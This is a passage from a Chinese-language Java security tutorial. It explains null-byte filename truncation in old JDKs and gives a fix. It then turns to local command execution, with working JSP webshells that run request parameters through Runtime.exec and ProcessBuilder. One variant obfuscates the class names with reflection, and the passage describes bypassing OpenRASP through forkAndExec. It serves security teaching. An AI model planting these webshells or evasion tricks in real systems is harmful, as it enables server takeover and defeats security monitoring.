修複前(Java SE 7 Update 25)和修複後(Java SE 7 Update 40)的對比會發現Java SE 7 Update 25中的java.io.File類中并未添加\u0000的檢測。
受空位元組截斷影響的JDK版本範圍:JDK<1.7.40,單是JDK7于2011年07月28日釋出至2013年09月10日發表Java SE 7 Update 40這兩年多期間受影響的就有16個版本,值得注意的是JDK1.6雖然JDK7修複之後釋出了數十個版本,但是并沒有任何一個版本修複過這個問題,而JDK8釋出時間在JDK7修複以後是以并不受此漏洞影響。
參考:
https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846
https://zh.wikipedia.org/wiki/Java版本歷史
https://www.oracle.com/technetwork/java/javase/archive-139210.html
8.3 Java檔案名空截斷測試
測試類FileNullBytes.java:
package com.anbai.sec.filesystem;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
/**
* @author yz
*/
public class FileNullBytes {
public static void main(String[] args) {
try {
String fileName = "D://test/test.txt\u0000.jpg";
FileOutputStream fos = new FileOutputStream(new File(fileName));
fos.write("Test".getBytes());
fos.flush();
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
使用JDK1.7.0.25測試成功截斷檔案名:
使用JDK1.7.0.80測試寫檔案截斷時抛出java.io.FileNotFoundException: Invalid file path異常:
8.4 空位元組截斷利用場景
Java空位元組截斷利用場景最常見的利用場景就是檔案上傳時後端擷取檔案名後使用了endWith、正則使用如:.(jpg|png|gif)$驗證檔案名字尾合法性且檔案名最終原樣儲存,同理檔案删除(delete)、擷取檔案路徑(getCanonicalPath)、建立檔案(createNewFile)、檔案重命名(renameTo)等方法也可适用。
8.5 空位元組截斷修複方案
最簡單直接的方式就是更新JDK,如果擔心更新JDK出現相容性問題可在檔案操作時檢測下檔案名中是否包含空位元組,如JDK的修複方式:fileName.indexOf(’\u0000’)即可。
9 Java本地指令執行
9.1 Java本地指令執行
Java原生提供了對本地系統指令執行的支援,黑客通常會RCE利用漏洞或者WebShell來執行系統終端指令控制伺服器的目的。
對于開發者來說執行本地指令來實作某些程式功能(如:ps 程序管理、top記憶體管理等)是一個正常的需求,而對于黑客來說本地指令執行是一種非常有利的入侵手段。
9.2 Runtime指令執行
在Java中我們通常會使用java.lang.Runtime類的exec方法來執行本地系統指令。
Runtime指令執行測試runtime-exec2.jsp執行cmd指令示例:**
1.
本地nc監聽9000端口:nc -vv -l 9000
2.
使用浏覽器通路:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我們可以在nc中看到已經成功的接收到了java執行了curl指令的請求了,如此僅需要一行代碼一個最簡單的本地指令執行後門也就寫好了。
上面的代碼雖然足夠簡單但是缺少了回顯,稍微改下即可實作指令執行的回顯了。
runtime-exec.jsp執行cmd指令示例:
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%--
Created by IntelliJ IDEA.
User: yz
Date: 2019/12/5
Time: 6:21 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
指令執行效果如下:
Runtime指令執行調用鍊
- Runtime.exec(xxx)調用鍊如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通過觀察整個調用鍊我們可以清楚的看到exec方法并不是指令執行的最終點,執行邏輯大緻是:
1.
Runtime.exec(xxx)
2.
java.lang.ProcessBuilder.start()
3.
new java.lang.UNIXProcess(xxx)
4.
UNIXProcess構造方法中調用了forkAndExec(xxx) native方法。
5.
forkAndExec調用作業系統級别fork->exec(*nix)/CreateProcess(Windows)執行指令并傳回fork/CreateProcess的PID。
有了以上的調用鍊分析我們就可以深刻的了解到Java本地指令執行的深入邏輯了,切記Runtime和ProcessBuilder并不是程式的最終執行點!
反射Runtime指令執行
如果我們不希望在代碼中出現和Runtime相關的關鍵字,我們可以全部用反射代替。
- reflection-cmd.jsp示例代碼:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定義"java.lang.Runtime"字元串變量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime類擷取Class對象
Class<?> c = Class.forName(rt);
// 反射擷取Runtime類的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射擷取Runtime類的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射調用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射擷取Process類的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 擷取指令執行結果的輸入流對象:p.getInputStream()并使用Scanner按行切割成字元串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 輸出指令執行結果
out.println(result);
%>
指令參數是str,如:reflection-cmd.jsp?str=pwd,程式執行結果同上
9.3 ProcessBuilder指令執行
學習Runtime指令執行的時候我們講到其最終exec方法會調用ProcessBuilder來執行本地指令,那麼我們隻需跟蹤下Runtime的exec方法就可以知道如何使用ProcessBuilder來執行系統指令了。
- process_builder.jsp指令執行測試
<%--
Created by IntelliJ IDEA.
User: yz
Date: 2019/12/6
Time: 10:26 上午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
執行一個稍微複雜點的指令:/bin/sh -c “cd /Users/;ls -la;”,浏覽器請求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la
9.4.UNIXProcess/ProcessImpl
UNIXProcess和ProcessImpl可以了解本就是一個東西,因為在JDK9的時候把UNIXProcess合并到了ProcessImpl當中了,參考changeset 11315:98eb910c9a97。
UNIXProcess和ProcessImpl其實就是最終調用native執行系統指令的類,這個類提供了一個叫forkAndExec的native方法,如方法名所述主要是通過fork&exec來執行本地系統指令。
UNIXProcess類的forkAndExec示例:
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,
byte[] argBlock, int argc,
byte[] envBlock, int envc,
byte[] dir,
int[] fds,
boolean redirectErrorStream)
throws IOException;
最終執行的Java_java_lang_ProcessImpl_forkAndExec:
Java_java_lang_ProcessImpl_forkAndExec完整代碼:ProcessImpl_md.c
很多人對Java本地指令執行的了解不夠深入導緻了他們無法定位到最終的指令執行點,去年給OpenRASP提過這個問題,他們隻防禦到了ProcessBuilder.start()方法,而我們隻需要直接調用最終執行的UNIXProcess/ProcessImpl實作指令執行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以繞過RASP實作指令執行了。